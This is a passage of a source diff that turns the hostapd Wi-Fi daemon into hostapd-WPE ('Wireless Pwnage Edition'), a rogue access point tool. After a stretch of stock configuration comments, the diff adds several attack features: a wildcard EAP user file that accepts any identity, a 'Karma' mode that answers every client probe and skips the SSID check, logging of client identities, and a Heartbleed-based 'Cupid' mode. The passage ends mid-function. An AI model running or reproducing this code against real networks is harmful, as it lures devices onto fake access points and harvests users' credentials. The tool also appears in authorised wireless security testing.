2954 +#venue_name=eng:Example venue
2955 +#venue_name=fin:Esimerkkipaikka
2956 +# Alternative format for language:value strings:
2957 +# (double quoted string, printf-escaped string)
2958 +#venue_name=P"eng:Example\nvenue"
2959 +
2960 +# Network Authentication Type
2961 +# This parameter indicates what type of network authentication is used in the
2962 +# network.
2963 +# format: <network auth type indicator (1-octet hex str)> [redirect URL]
2964 +# Network Authentication Type Indicator values:
2965 +# 00 = Acceptance of terms and conditions
2966 +# 01 = On-line enrollment supported
2967 +# 02 = http/https redirection
2968 +# 03 = DNS redirection
2969 +#network_auth_type=00
2970 +#network_auth_type=02http://www.example.com/redirect/me/here/
2971 +
2972 +# IP Address Type Availability
2973 +# format: <1-octet encoded value as hex str>
2974 +# (ipv4_type & 0x3f) << 2 | (ipv6_type & 0x3)
2975 +# ipv4_type:
2976 +# 0 = Address type not available
2977 +# 1 = Public IPv4 address available
2978 +# 2 = Port-restricted IPv4 address available
2979 +# 3 = Single NATed private IPv4 address available
2980 +# 4 = Double NATed private IPv4 address available
2981 +# 5 = Port-restricted IPv4 address and single NATed IPv4 address available
2982 +# 6 = Port-restricted IPv4 address and double NATed IPv4 address available
2983 +# 7 = Availability of the address type is not known
2984 +# ipv6_type:
2985 +# 0 = Address type not available
2986 +# 1 = Address type available
2987 +# 2 = Availability of the address type not known
2988 +#ipaddr_type_availability=14
2989 +
2990 +# Domain Name
2991 +# format: <variable-octet str>[,<variable-octet str>]
2992 +#domain_name=example.com,another.example.com,yet-another.example.com
2993 +
2994 +# 3GPP Cellular Network information
2995 +# format: <MCC1,MNC1>[;<MCC2,MNC2>][;...]
2996 +#anqp_3gpp_cell_net=244,91;310,026;234,56
2997 +
2998 +# NAI Realm information
2999 +# One or more realm can be advertised. Each nai_realm line adds a new realm to
3000 +# the set. These parameters provide information for stations using Interworking
3001 +# network selection to allow automatic connection to a network based on
3002 +# credentials.
3003 +# format: <encoding>,<NAI Realm(s)>[,<EAP Method 1>][,<EAP Method 2>][,...]
3004 +# encoding:
3005 +# 0 = Realm formatted in accordance with IETF RFC 4282
3006 +# 1 = UTF-8 formatted character string that is not formatted in
3007 +# accordance with IETF RFC 4282
3008 +# NAI Realm(s): Semi-colon delimited NAI Realm(s)
3009 +# EAP Method: <EAP Method>[:<[AuthParam1:Val1]>][<[AuthParam2:Val2]>][...]
3010 +# EAP Method types, see:
3011 +# http://www.iana.org/assignments/eap-numbers/eap-numbers.xhtml#eap-numbers-4
3012 +# AuthParam (Table 8-188 in IEEE Std 802.11-2012):
3013 +# ID 2 = Non-EAP Inner Authentication Type
3014 +# 1 = PAP, 2 = CHAP, 3 = MSCHAP, 4 = MSCHAPV2
3015 +# ID 3 = Inner authentication EAP Method Type
3016 +# ID 5 = Credential Type
3017 +# 1 = SIM, 2 = USIM, 3 = NFC Secure Element, 4 = Hardware Token,
3018 +# 5 = Softoken, 6 = Certificate, 7 = username/password, 9 = Anonymous,
3019 +# 10 = Vendor Specific
3020 +#nai_realm=0,example.com;example.net
3021 +# EAP methods EAP-TLS with certificate and EAP-TTLS/MSCHAPv2 with
3022 +# username/password
3023 +#nai_realm=0,example.org,13[5:6],21[2:4][5:7]
3024 +
3025 +# Arbitrary ANQP-element configuration
3026 +# Additional ANQP-elements with arbitrary values can be defined by specifying
3027 +# their contents in raw format as a hexdump of the payload. Note that these
3028 +# values will override ANQP-element contents that may have been specified in the
3029 +# more higher layer configuration parameters listed above.
3030 +# format: anqp_elem=<InfoID>:<hexdump of payload>
3031 +# For example, AP Geospatial Location ANQP-element with unknown location:
3032 +#anqp_elem=265:0000
3033 +# For example, AP Civic Location ANQP-element with unknown location:
3034 +#anqp_elem=266:000000
3035 +
3036 +# GAS Address 3 behavior
3037 +# 0 = P2P specification (Address3 = AP BSSID) workaround enabled by default
3038 +# based on GAS request Address3
3039 +# 1 = IEEE 802.11 standard compliant regardless of GAS request Address3
3040 +# 2 = Force non-compliant behavior (Address3 = AP BSSID for all cases)
3041 +#gas_address3=0
3042 +
3043 +# QoS Map Set configuration
3044 +#
3045 +# Comma delimited QoS Map Set in decimal values
3046 +# (see IEEE Std 802.11-2012, 8.4.2.97)
3047 +#
3048 +# format:
3049 +# [<DSCP Exceptions[DSCP,UP]>,]<UP 0 range[low,high]>,...<UP 7 range[low,high]>
3050 +#
3051 +# There can be up to 21 optional DSCP Exceptions which are pairs of DSCP Value
3052 +# (0..63 or 255) and User Priority (0..7). This is followed by eight DSCP Range
3053 +# descriptions with DSCP Low Value and DSCP High Value pairs (0..63 or 255) for
3054 +# each UP starting from 0. If both low and high value are set to 255, the
3055 +# corresponding UP is not used.
3056 +#
3057 +# default: not set
3058 +#qos_map_set=53,2,22,6,8,15,0,7,255,255,16,31,32,39,255,255,40,47,255,255
3059 +
3060 +##### Hotspot 2.0 #############################################################
3061 +
3062 +# Enable Hotspot 2.0 support
3063 +#hs20=1
3064 +
3065 +# Disable Downstream Group-Addressed Forwarding (DGAF)
3066 +# This can be used to configure a network where no group-addressed frames are
3067 +# allowed. The AP will not forward any group-address frames to the stations and
3068 +# random GTKs are issued for each station to prevent associated stations from
3069 +# forging such frames to other stations in the BSS.
3070 +#disable_dgaf=1
3071 +
3072 +# OSU Server-Only Authenticated L2 Encryption Network
3073 +#osen=1
3074 +
3075 +# ANQP Domain ID (0..65535)
3076 +# An identifier for a set of APs in an ESS that share the same common ANQP
3077 +# information. 0 = Some of the ANQP information is unique to this AP (default).
3078 +#anqp_domain_id=1234
3079 +
3080 +# Deauthentication request timeout
3081 +# If the RADIUS server indicates that the station is not allowed to connect to
3082 +# the BSS/ESS, the AP can allow the station some time to download a
3083 +# notification page (URL included in the message). This parameter sets that
3084 +# timeout in seconds.
3085 +#hs20_deauth_req_timeout=60
3086 +
3087 +# Operator Friendly Name
3088 +# This parameter can be used to configure one or more Operator Friendly Name
3089 +# Duples. Each entry has a two or three character language code (ISO-639)
3090 +# separated by colon from the operator friendly name string.
3091 +#hs20_oper_friendly_name=eng:Example operator
3092 +#hs20_oper_friendly_name=fin:Esimerkkioperaattori
3093 +
3094 +# Connection Capability
3095 +# This can be used to advertise what type of IP traffic can be sent through the
3096 +# hotspot (e.g., due to firewall allowing/blocking protocols/ports).
3097 +# format: <IP Protocol>:<Port Number>:<Status>
3098 +# IP Protocol: 1 = ICMP, 6 = TCP, 17 = UDP
3099 +# Port Number: 0..65535
3100 +# Status: 0 = Closed, 1 = Open, 2 = Unknown
3101 +# Each hs20_conn_capab line is added to the list of advertised tuples.
3102 +#hs20_conn_capab=1:0:2
3103 +#hs20_conn_capab=6:22:1
3104 +#hs20_conn_capab=17:5060:0
3105 +
3106 +# WAN Metrics
3107 +# format: <WAN Info>:<DL Speed>:<UL Speed>:<DL Load>:<UL Load>:<LMD>
3108 +# WAN Info: B0-B1: Link Status, B2: Symmetric Link, B3: At Capabity
3109 +# (encoded as two hex digits)
3110 +# Link Status: 1 = Link up, 2 = Link down, 3 = Link in test state
3111 +# Downlink Speed: Estimate of WAN backhaul link current downlink speed in kbps;
3112 +# 1..4294967295; 0 = unknown
3113 +# Uplink Speed: Estimate of WAN backhaul link current uplink speed in kbps
3114 +# 1..4294967295; 0 = unknown
3115 +# Downlink Load: Current load of downlink WAN connection (scaled to 255 = 100%)
3116 +# Uplink Load: Current load of uplink WAN connection (scaled to 255 = 100%)
3117 +# Load Measurement Duration: Duration for measuring downlink/uplink load in
3118 +# tenths of a second (1..65535); 0 if load cannot be determined
3119 +#hs20_wan_metrics=01:8000:1000:80:240:3000
3120 +
3121 +# Operating Class Indication
3122 +# List of operating classes the BSSes in this ESS use. The Global operating
3123 +# classes in Table E-4 of IEEE Std 802.11-2012 Annex E define the values that
3124 +# can be used in this.
3125 +# format: hexdump of operating class octets
3126 +# for example, operating classes 81 (2.4 GHz channels 1-13) and 115 (5 GHz
3127 +# channels 36-48):
3128 +#hs20_operating_class=5173
3129 +
3130 +# OSU icons
3131 +# <Icon Width>:<Icon Height>:<Language code>:<Icon Type>:<Name>:<file path>
3132 +#hs20_icon=32:32:eng:image/png:icon32:/tmp/icon32.png
3133 +#hs20_icon=64:64:eng:image/png:icon64:/tmp/icon64.png
3134 +
3135 +# OSU SSID (see ssid2 for format description)
3136 +# This is the SSID used for all OSU connections to all the listed OSU Providers.
3137 +#osu_ssid="example"
3138 +
3139 +# OSU Providers
3140 +# One or more sets of following parameter. Each OSU provider is started by the
3141 +# mandatory osu_server_uri item. The other parameters add information for the
3142 +# last added OSU provider.
3143 +#
3144 +#osu_server_uri=https://example.com/osu/
3145 +#osu_friendly_name=eng:Example operator
3146 +#osu_friendly_name=fin:Esimerkkipalveluntarjoaja
3147 +#[email protected]
3148 +#osu_method_list=1 0
3149 +#osu_icon=icon32
3150 +#osu_icon=icon64
3151 +#osu_service_desc=eng:Example services
3152 +#osu_service_desc=fin:Esimerkkipalveluja
3153 +#
3154 +#osu_server_uri=...
3155 +
3156 +##### Fast Session Transfer (FST) support #####################################
3157 +#
3158 +# The options in this section are only available when the build configuration
3159 +# option CONFIG_FST is set while compiling hostapd. They allow this interface
3160 +# to be a part of FST setup.
3161 +#
3162 +# FST is the transfer of a session from a channel to another channel, in the
3163 +# same or different frequency bands.
3164 +#
3165 +# For detals, see IEEE Std 802.11ad-2012.
3166 +
3167 +# Identifier of an FST Group the interface belongs to.
3168 +#fst_group_id=bond0
3169 +
3170 +# Interface priority within the FST Group.
3171 +# Announcing a higher priority for an interface means declaring it more
3172 +# preferable for FST switch.
3173 +# fst_priority is in 1..255 range with 1 being the lowest priority.
3174 +#fst_priority=100
3175 +
3176 +# Default LLT value for this interface in milliseconds. The value used in case
3177 +# no value provided during session setup. Default is 50 ms.
3178 +# fst_llt is in 1..4294967 range (due to spec limitation, see 10.32.2.2
3179 +# Transitioning between states).
3180 +#fst_llt=100
3181 +
3182 +##### Radio measurements / location ###########################################
3183 +
3184 +# The content of a LCI measurement subelement
3185 +#lci=<Hexdump of binary data of the LCI report>
3186 +
3187 +# The content of a location civic measurement subelement
3188 +#civic=<Hexdump of binary data of the location civic report>
3189 +
3190 +# Enable neighbor report via radio measurements
3191 +#rrm_neighbor_report=1
3192 +
3193 +# Publish fine timing measurement (FTM) responder functionality
3194 +# This parameter only controls publishing via Extended Capabilities element.
3195 +# Actual functionality is managed outside hostapd.
3196 +#ftm_responder=0
3197 +
3198 +# Publish fine timing measurement (FTM) initiator functionality
3199 +# This parameter only controls publishing via Extended Capabilities element.
3200 +# Actual functionality is managed outside hostapd.
3201 +#ftm_initiator=0
3202 +
3203 +##### TESTING OPTIONS #########################################################
3204 +#
3205 +# The options in this section are only available when the build configuration
3206 +# option CONFIG_TESTING_OPTIONS is set while compiling hostapd. They allow
3207 +# testing some scenarios that are otherwise difficult to reproduce.
3208 +#
3209 +# Ignore probe requests sent to hostapd with the given probability, must be a
3210 +# floating point number in the range [0, 1).
3211 +#ignore_probe_probability=0.0
3212 +#
3213 +# Ignore authentication frames with the given probability
3214 +#ignore_auth_probability=0.0
3215 +#
3216 +# Ignore association requests with the given probability
3217 +#ignore_assoc_probability=0.0
3218 +#
3219 +# Ignore reassociation requests with the given probability
3220 +#ignore_reassoc_probability=0.0
3221 +#
3222 +# Corrupt Key MIC in GTK rekey EAPOL-Key frames with the given probability
3223 +#corrupt_gtk_rekey_mic_probability=0.0
3224 +#
3225 +# Include only ECSA IE without CSA IE where possible
3226 +# (channel switch operating class is needed)
3227 +#ecsa_ie_only=0
3228 +
3229 +##### Multiple BSSID support ##################################################
3230 +#
3231 +# Above configuration is using the default interface (wlan#, or multi-SSID VLAN
3232 +# interfaces). Other BSSIDs can be added by using separator 'bss' with
3233 +# default interface name to be allocated for the data packets of the new BSS.
3234 +#
3235 +# hostapd will generate BSSID mask based on the BSSIDs that are
3236 +# configured. hostapd will verify that dev_addr & MASK == dev_addr. If this is
3237 +# not the case, the MAC address of the radio must be changed before starting
3238 +# hostapd (ifconfig wlan0 hw ether <MAC addr>). If a BSSID is configured for
3239 +# every secondary BSS, this limitation is not applied at hostapd and other
3240 +# masks may be used if the driver supports them (e.g., swap the locally
3241 +# administered bit)
3242 +#
3243 +# BSSIDs are assigned in order to each BSS, unless an explicit BSSID is
3244 +# specified using the 'bssid' parameter.
3245 +# If an explicit BSSID is specified, it must be chosen such that it:
3246 +# - results in a valid MASK that covers it and the dev_addr
3247 +# - is not the same as the MAC address of the radio
3248 +# - is not the same as any other explicitly specified BSSID
3249 +#
3250 +# Alternatively, the 'use_driver_iface_addr' parameter can be used to request
3251 +# hostapd to use the driver auto-generated interface address (e.g., to use the
3252 +# exact MAC addresses allocated to the device).
3253 +#
3254 +# Not all drivers support multiple BSSes. The exact mechanism for determining
3255 +# the driver capabilities is driver specific. With the current (i.e., a recent
3256 +# kernel) drivers using nl80211, this information can be checked with "iw list"
3257 +# (search for "valid interface combinations").
3258 +#
3259 +# Please note that hostapd uses some of the values configured for the first BSS
3260 +# as the defaults for the following BSSes. However, it is recommended that all
3261 +# BSSes include explicit configuration of all relevant configuration items.
3262 +#
3263 +#bss=wlan0_0
3264 +#ssid=test2
3265 +# most of the above items can be used here (apart from radio interface specific
3266 +# items, like channel)
3267 +
3268 +#bss=wlan0_1
3269 +#bssid=00:13:10:95:fe:0b
3270 +# ...
3271 diff '--color=auto' -rupN hostapd-2.10/hostapd/hostapd-wpe.eap_user hostapd-2.10-wpe/hostapd/hostapd-wpe.eap_user
3272 --- hostapd-2.10/hostapd/hostapd-wpe.eap_user 1970-01-01 00:00:00.000000000 +0000
3273 +++ hostapd-2.10-wpe/hostapd/hostapd-wpe.eap_user 2022-02-21 23:29:30.104000000 +0000
3274 @@ -0,0 +1,107 @@
3275 +# hostapd user database for integrated EAP server
3276 +
3277 +# Each line must contain an identity, EAP method(s), and an optional password
3278 +# separated with whitespace (space or tab). The identity and password must be
3279 +# double quoted ("user"). Password can alternatively be stored as
3280 +# NtPasswordHash (16-byte MD4 hash of the unicode presentation of the password
3281 +# in unicode) if it is used for MSCHAP or MSCHAPv2 authentication. This means
3282 +# that the plaintext password does not need to be included in the user file.
3283 +# Password hash is stored as hash:<16-octets of hex data> without quotation
3284 +# marks.
3285 +
3286 +# [2] flag in the end of the line can be used to mark users for tunneled phase
3287 +# 2 authentication (e.g., within EAP-PEAP). In these cases, an anonymous
3288 +# identity can be used in the unencrypted phase 1 and the real user identity
3289 +# is transmitted only within the encrypted tunnel in phase 2. If non-anonymous
3290 +# access is needed, two user entries is needed, one for phase 1 and another
3291 +# with the same username for phase 2.
3292 +#
3293 +# EAP-TLS, EAP-PEAP, EAP-TTLS, EAP-FAST, EAP-SIM, and EAP-AKA do not use
3294 +# password option.
3295 +# EAP-MD5, EAP-MSCHAPV2, EAP-GTC, EAP-PAX, EAP-PSK, and EAP-SAKE require a
3296 +# password.
3297 +# EAP-PEAP, EAP-TTLS, and EAP-FAST require Phase 2 configuration.
3298 +#
3299 +# * can be used as a wildcard to match any user identity. The main purposes for
3300 +# this are to set anonymous phase 1 identity for EAP-PEAP and EAP-TTLS and to
3301 +# avoid having to configure every certificate for EAP-TLS authentication. The
3302 +# first matching entry is selected, so * should be used as the last phase 1
3303 +# user entry.
3304 +#
3305 +# "prefix"* can be used to match the given prefix and anything after this. The
3306 +# main purpose for this is to be able to avoid EAP method negotiation when the
3307 +# method is using known prefix in identities (e.g., EAP-SIM and EAP-AKA). This
3308 +# is only allowed for phase 1 identities.
3309 +#
3310 +# Multiple methods can be configured to make the authenticator try them one by
3311 +# one until the peer accepts one. The method names are separated with a
3312 +# comma (,).
3313 +#
3314 +# [ver=0] and [ver=1] flags after EAP type PEAP can be used to force PEAP
3315 +# version based on the Phase 1 identity. Without this flag, the EAP
3316 +# authenticator advertises the highest supported version and select the version
3317 +# based on the first PEAP packet from the supplicant.
3318 +#
3319 +# EAP-TTLS supports both EAP and non-EAP authentication inside the tunnel.
3320 +# Tunneled EAP methods are configured with standard EAP method name and [2]
3321 +# flag. Non-EAP methods can be enabled by following method names: TTLS-PAP,
3322 +# TTLS-CHAP, TTLS-MSCHAP, TTLS-MSCHAPV2. TTLS-PAP and TTLS-CHAP require a
3323 +# plaintext password while TTLS-MSCHAP and TTLS-MSCHAPV2 can use NT password
3324 +# hash.
3325 +#
3326 +# Arbitrary RADIUS attributes can be added into Access-Accept packets similarly
3327 +# to the way radius_auth_req_attr is used for Access-Request packet in
3328 +# hostapd.conf. For EAP server, this is configured separately for each user
3329 +# entry with radius_accept_attr=<value> line(s) following the main user entry
3330 +# line.
3331 +
3332 +# Phase 1 users
3333 +#"user" MD5 "password"
3334 +#"test user" MD5 "secret"
3335 +#"example user" TLS
3336 +#"DOMAIN\user" MSCHAPV2 "password"
3337 +#"gtc user" GTC "password"
3338 +#"pax user" PAX "unknown"
3339 +#"[email protected]" PAX 0123456789abcdef0123456789abcdef
3340 +#"psk user" PSK "unknown"
3341 +#"[email protected]" PSK 0123456789abcdef0123456789abcdef
3342 +#"[email protected]" SAKE 0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef
3343 +#"ttls" TTLS
3344 +#"not anonymous" PEAP
3345 +# Default to EAP-SIM and EAP-AKA based on fixed identity prefixes
3346 +#"0"* AKA,TTLS,TLS,PEAP,SIM
3347 +#"1"* SIM,TTLS,TLS,PEAP,AKA
3348 +#"2"* AKA,TTLS,TLS,PEAP,SIM
3349 +#"3"* SIM,TTLS,TLS,PEAP,AKA
3350 +#"4"* AKA,TTLS,TLS,PEAP,SIM
3351 +#"5"* SIM,TTLS,TLS,PEAP,AKA
3352 +#"6"* AKA'
3353 +#"7"* AKA'
3354 +#"8"* AKA'
3355 +
3356 +# Wildcard for all other identities
3357 +#* PEAP,TTLS,TLS,SIM,AKA
3358 +
3359 +# Phase 2 (tunnelled within EAP-PEAP or EAP-TTLS) users
3360 +#"t-md5" MD5 "password" [2]
3361 +#"DOMAIN\t-mschapv2" MSCHAPV2 "password" [2]
3362 +#"t-gtc" GTC "password" [2]
3363 +#"not anonymous" MSCHAPV2 "password" [2]
3364 +#"user" MD5,GTC,MSCHAPV2 "password" [2]
3365 +#"test user" MSCHAPV2 hash:000102030405060708090a0b0c0d0e0f [2]
3366 +#"ttls-user" TTLS-PAP,TTLS-CHAP,TTLS-MSCHAP,TTLS-MSCHAPV2 "password" [2]
3367 +
3368 +# Default to EAP-SIM and EAP-AKA based on fixed identity prefixes in phase 2
3369 +#"0"* AKA [2]
3370 +#"1"* SIM [2]
3371 +#"2"* AKA [2]
3372 +#"3"* SIM [2]
3373 +#"4"* AKA [2]
3374 +#"5"* SIM [2]
3375 +#"6"* AKA' [2]
3376 +#"7"* AKA' [2]
3377 +#"8"* AKA' [2]
3378 +
3379 +# WPE - DO NOT REMOVE - These entries are specifically in here
3380 +* PEAP,TTLS,TLS,FAST
3381 +"t" TTLS-PAP,TTLS-CHAP,TTLS-MSCHAP,MSCHAPV2,MD5,GTC,TTLS,TTLS-MSCHAPV2 "t" [2]
3382 diff '--color=auto' -rupN hostapd-2.10/hostapd/main.c hostapd-2.10-wpe/hostapd/main.c
3383 --- hostapd-2.10/hostapd/main.c 2022-01-16 20:51:29.000000000 +0000
3384 +++ hostapd-2.10-wpe/hostapd/main.c 2022-02-22 00:03:05.108000000 +0000
3385 @@ -30,7 +30,7 @@
3386 #include "config_file.h"
3387 #include "eap_register.h"
3388 #include "ctrl_iface.h"
3389 -
3390 +#include "wpe/wpe.h"
3391
3392 struct hapd_global {
3393 void **drv_priv;
3394 @@ -451,11 +451,17 @@ static int hostapd_global_run(struct hap
3395 static void show_version(void)
3396 {
3397 fprintf(stderr,
3398 - "hostapd v%s\n"
3399 + "hostapd-WPE v%s\n"
3400 "User space daemon for IEEE 802.11 AP management,\n"
3401 "IEEE 802.1X/WPA/WPA2/EAP/RADIUS Authenticator\n"
3402 "Copyright (c) 2002-2022, Jouni Malinen <[email protected]> "
3403 - "and contributors\n",
3404 + "and contributors\n"
3405 + "-----------------------------------------------------\n"
3406 + "WPE (Wireless Pwnage Edition)\n"
3407 + "This version has been cleverly modified to target\n"
3408 + "wired and wireless users.\n"
3409 + "Twitter: @aircrackng\n"
3410 + "Website: https://aircrack-ng.org\n",
3411 VERSION_STR);
3412 }
3413
3414 @@ -465,7 +471,7 @@ static void usage(void)
3415 show_version();
3416 fprintf(stderr,
3417 "\n"
3418 - "usage: hostapd [-hdBKtv] [-P <PID file>] [-e <entropy file>] "
3419 + "usage: hostapd-wpe [-hdBKtvrkc] [-P <PID file>] [-e <entropy file>] "
3420 "\\\n"
3421 " [-g <global ctrl_iface>] [-G <group>]\\\n"
3422 " [-i <comma-separated list of interface names>]\\\n"
3423 @@ -493,7 +499,16 @@ static void usage(void)
3424 #endif /* CONFIG_DEBUG_SYSLOG */
3425 " -S start all the interfaces synchronously\n"
3426 " -t include timestamps in some debug messages\n"
3427 - " -v show hostapd version\n");
3428 + " -v show hostapd version\n\n"
3429 + "\n"
3430 + "WPE options:\n"
3431 + " -r Return Success where possible\n"
3432 +#if OPENSSL_VERSION_NUMBER < 0x10100000L
3433 + " -c Cupid Mode (Heartbleed clients)\n\n"
3434 +#endif
3435 + " -k Karma Mode (Respond to all probes)\n"
3436 + "\n"
3437 + " Note: credentials logging is always enabled\n\n");
3438
3439 exit(1);
3440 }
3441 @@ -684,7 +699,7 @@ int main(int argc, char *argv[])
3442 #endif /* CONFIG_DPP */
3443
3444 for (;;) {
3445 - c = getopt(argc, argv, "b:Bde:f:hi:KP:sSTtu:vg:G:");
3446 + c = getopt(argc, argv, "b:Bde:f:hi:KP:sSTtu:vg:G:kcr");
3447 if (c < 0)
3448 break;
3449 switch (c) {
3450 @@ -753,6 +768,15 @@ int main(int argc, char *argv[])
3451 case 'u':
3452 return gen_uuid(optarg);
3453 #endif /* CONFIG_WPS */
3454 + case 'k':
3455 + wpe_conf.wpe_enable_karma++;
3456 + break;
3457 + case 'c':
3458 + wpe_conf.wpe_enable_cupid++;
3459 + break;
3460 + case 'r':
3461 + wpe_conf.wpe_enable_return_success++;
3462 + break;
3463 case 'i':
3464 if (hostapd_get_interface_names(&if_names,
3465 &if_names_size, optarg))
3466 diff '--color=auto' -rupN hostapd-2.10/src/Makefile hostapd-2.10-wpe/src/Makefile
3467 --- hostapd-2.10/src/Makefile 2022-01-16 20:51:29.000000000 +0000
3468 +++ hostapd-2.10-wpe/src/Makefile 2022-02-21 23:29:30.152000000 +0000
3469 @@ -1,5 +1,5 @@
3470 SUBDIRS=ap common crypto drivers eapol_auth eapol_supp eap_common eap_peer eap_server l2_packet p2p pae radius rsn_supp tls utils wps
3471 -SUBDIRS += fst
3472 +SUBDIRS += fst wpe
3473
3474 all:
3475 for d in $(SUBDIRS); do [ -d $$d ] && $(MAKE) -C $$d; done
3476 diff '--color=auto' -rupN hostapd-2.10/src/ap/beacon.c hostapd-2.10-wpe/src/ap/beacon.c
3477 --- hostapd-2.10/src/ap/beacon.c 2022-01-16 20:51:29.000000000 +0000
3478 +++ hostapd-2.10-wpe/src/ap/beacon.c 2022-02-21 23:29:30.128000000 +0000
3479 @@ -32,7 +32,7 @@
3480 #include "dfs.h"
3481 #include "taxonomy.h"
3482 #include "ieee802_11_auth.h"
3483 -
3484 +#include "wpe/wpe.h"
3485
3486 #ifdef NEED_AP_MLME
3487
3488 @@ -975,6 +975,13 @@ void handle_probe_req(struct hostapd_dat
3489 }
3490 #endif /* CONFIG_TAXONOMY */
3491
3492 + if (wpe_conf.wpe_enable_karma && elems.ssid_len > 0) {
3493 + wpa_printf(MSG_MSGDUMP,"[WPE] Probe request from " MACSTR ", changing SSID to '%s'", MAC2STR(mgmt->sa), wpa_ssid_txt(elems.ssid, elems.ssid_len));
3494 + hostapd_set_ssid(hapd,elems.ssid,elems.ssid_len);
3495 + os_memcpy(&hapd->conf->ssid.ssid,elems.ssid,elems.ssid_len);
3496 + hapd->conf->ssid.ssid_len = elems.ssid_len;
3497 + }
3498 +
3499 res = ssid_match(hapd, elems.ssid, elems.ssid_len,
3500 elems.ssid_list, elems.ssid_list_len,
3501 elems.short_ssid_list, elems.short_ssid_list_len);
3502 diff '--color=auto' -rupN hostapd-2.10/src/ap/ieee802_11.c hostapd-2.10-wpe/src/ap/ieee802_11.c
3503 --- hostapd-2.10/src/ap/ieee802_11.c 2022-01-16 20:51:29.000000000 +0000
3504 +++ hostapd-2.10-wpe/src/ap/ieee802_11.c 2022-02-21 23:29:30.128000000 +0000
3505 @@ -55,7 +55,7 @@
3506 #include "fils_hlp.h"
3507 #include "dpp_hostapd.h"
3508 #include "gas_query_ap.h"
3509 -
3510 +#include "wpe/wpe.h"
3511
3512 #ifdef CONFIG_FILS
3513 static struct wpabuf *
3514 @@ -3998,8 +3998,8 @@ static u16 check_ssid(struct hostapd_dat
3515 if (ssid_ie == NULL)
3516 return WLAN_STATUS_UNSPECIFIED_FAILURE;
3517
3518 - if (ssid_ie_len != hapd->conf->ssid.ssid_len ||
3519 - os_memcmp(ssid_ie, hapd->conf->ssid.ssid, ssid_ie_len) != 0) {
3520 + if ((!wpe_conf.wpe_enable_karma) && (ssid_ie_len != hapd->conf->ssid.ssid_len ||
3521 + os_memcmp(ssid_ie, hapd->conf->ssid.ssid, ssid_ie_len) != 0)) {
3522 hostapd_logger(hapd, sta->addr, HOSTAPD_MODULE_IEEE80211,
3523 HOSTAPD_LEVEL_INFO,
3524 "Station tried to associate with unknown SSID "
3525 diff '--color=auto' -rupN hostapd-2.10/src/ap/ieee802_1x.c hostapd-2.10-wpe/src/ap/ieee802_1x.c
3526 --- hostapd-2.10/src/ap/ieee802_1x.c 2022-01-16 20:51:29.000000000 +0000
3527 +++ hostapd-2.10-wpe/src/ap/ieee802_1x.c 2022-02-21 23:29:30.128000000 +0000
3528 @@ -855,6 +855,8 @@ static void handle_eap_response(struct h
3529 {
3530 u8 type, *data;
3531 struct eapol_state_machine *sm = sta->eapol_sm;
3532 + const u8 *identity;
3533 + size_t identity_len;
3534
3535 if (!sm)
3536 return;
3537 @@ -874,6 +876,16 @@ static void handle_eap_response(struct h
3538 eap->code, eap->identifier, be_to_host16(eap->length),
3539 eap_server_get_name(0, type), type);
3540
3541 +/* Print Response-Identity from STA*/
3542 + identity = eap_get_identity(sm->eap, &identity_len);
3543 + os_free(sm->identity);
3544 + sm->identity = (u8 *) dup_binstr(identity, identity_len);
3545 + sm->identity_len = identity_len;
3546 + if (identity != NULL) {
3547 + hostapd_logger(hapd, sm->addr, HOSTAPD_MODULE_IEEE8021X,
3548 + HOSTAPD_LEVEL_INFO, "Identity received from STA: '%s'", sm->identity);
3549 + }
3550 +
3551 sm->dot1xAuthEapolRespFramesRx++;
3552
3553 wpabuf_free(sm->eap_if->eapRespData);
3554 diff '--color=auto' -rupN hostapd-2.10/src/crypto/ms_funcs.h hostapd-2.10-wpe/src/crypto/ms_funcs.h
3555 --- hostapd-2.10/src/crypto/ms_funcs.h 2022-01-16 20:51:29.000000000 +0000
3556 +++ hostapd-2.10-wpe/src/crypto/ms_funcs.h 2022-02-21 23:29:30.144000000 +0000
3557 @@ -9,6 +9,10 @@
3558 #ifndef MS_FUNCS_H
3559 #define MS_FUNCS_H
3560
3561 +int challenge_hash(const u8 *peer_challenge, const u8 *auth_challenge,
3562 + const u8 *username, size_t username_len,
3563 + u8 *challenge);
3564 +
3565 int generate_nt_response(const u8 *auth_challenge, const u8 *peer_challenge,
3566 const u8 *username, size_t username_len,
3567 const u8 *password, size_t password_len,
3568 diff '--color=auto' -rupN hostapd-2.10/src/crypto/tls_openssl.c hostapd-2.10-wpe/src/crypto/tls_openssl.c
3569 --- hostapd-2.10/src/crypto/tls_openssl.c 2022-01-16 20:51:29.000000000 +0000
3570 +++ hostapd-2.10-wpe/src/crypto/tls_openssl.c 2022-02-21 23:29:30.140000000 +0000
3571 @@ -21,6 +21,7 @@
3572 #include <openssl/opensslv.h>
3573 #include <openssl/pkcs12.h>
3574 #include <openssl/x509v3.h>
3575 +#include <openssl/rand.h>
3576 #ifndef OPENSSL_NO_ENGINE
3577 #include <openssl/engine.h>
3578 #endif /* OPENSSL_NO_ENGINE */
3579 @@ -37,6 +38,7 @@
3580 #include "sha256.h"
3581 #include "tls.h"
3582 #include "tls_openssl.h"
3583 +#include "wpe/wpe.h"
3584
3585 #if !defined(CONFIG_FIPS) && \
3586 (defined(EAP_FAST) || defined(EAP_FAST_DYNAMIC) || \
3587 @@ -204,6 +206,10 @@ static int tls_add_ca_from_keystore_enco
3588
3589 #endif /* ANDROID */
3590
3591 +#if OPENSSL_VERSION_NUMBER < 0x10100000L
3592 +int wpe_hb_enc(struct tls_connection *conn); // WPE: To limit changes up top
3593 +#endif /* OPENSSL_VERSION_NUMBER < 0x10100000L */
3594 +
3595 static int tls_openssl_ref_count = 0;
3596 static int tls_ex_idx_session = -1;
3597
3598 @@ -1577,7 +1583,12 @@ struct tls_connection * tls_connection_i
3599
3600 conn->context = context;
3601 SSL_set_app_data(conn->ssl, conn);
3602 - SSL_set_msg_callback(conn->ssl, tls_msg_cb);
3603 +#if OPENSSL_VERSION_NUMBER < 0x10100000L
3604 + if (wpe_conf.wpe_enable_cupid)
3605 + SSL_set_msg_callback(conn->ssl, wpe_hb_cb);
3606 + else
3607 +#endif /* OPENSSL_VERSION_NUMBER < 0x10100000L */
3608 + SSL_set_msg_callback(conn->ssl, tls_msg_cb);
3609 SSL_set_msg_callback_arg(conn->ssl, conn);
3610 options = SSL_OP_NO_SSLv2 | SSL_OP_NO_SSLv3 |
3611 SSL_OP_SINGLE_DH_USE;
3612 @@ -4286,6 +4297,10 @@ openssl_handshake(struct tls_connection
3613 {
3614 int res;
3615 struct wpabuf *out_data;
3616 +#if OPENSSL_VERSION_NUMBER < 0x10100000L
3617 + int i;
